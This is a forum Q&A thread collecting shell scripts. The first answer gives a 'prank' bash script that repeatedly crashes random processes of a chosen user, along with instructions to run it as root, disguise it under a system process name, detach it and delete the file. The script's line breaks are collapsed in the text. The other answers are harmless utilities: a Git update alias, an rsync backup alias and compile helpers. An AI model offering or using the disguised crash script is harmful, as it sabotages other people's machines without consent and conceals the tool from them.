What are some interesting shell scripts? [closed] What are some interesting shell scripts? [closed] powershell powershell

What are some interesting shell scripts? [closed]


Here's a fun prank

#!/bin/bashuser=$1while true ; do    kill -SEGV $(ps -u $user -o pid= | random | tail -n 1)    sleep $RANDOMdone

Every few minutes a program owned by $user will segfault. Best if run as root and given an innocent name, but running it as $user works as well. Save the script as e.g. "xterm" or "kded" or "gnome-session", chmod a+x the script, and then invoke it like this:

$scriptname $username 2>/dev/null 1>&2 & disown $scriptname ; rm $scriptname

This will teach your friends not to leave their systems unlocked. This implementation uses random from bsdgames, but you could do the selection another way.


To keep all my Git repositories up-to-date:

alias gitupdate='(for l in `find . -name .git | xargs -i dirname {}` ; do cd $l; pwd; git pull; cd -; done)'

To backup my computer to a remote space:

alias backup='rsync -av ~/Documents user@domain.com: --delete --delete-excluded --exclude-from=/Users/myusername/.rsync/exclude --rsh="ssh"'


I've got a few that I have used/do use regularly.

One was a script took two parameters - a .cpp file and and output file. It would then compile the file and launch the code - really useful for programming C++ code at school. I also wrote one for assembler that would compile, link, and load.

I've got others that control screen brightness, launch various programs with specific settings (mainly cd to a directory)... I think the one that I used most often was my new.c++ script that created a text file with my name, class info, #includes, and more, and started up vim editing the file. It was super useful.

Nothing silly, just some good, useful stuff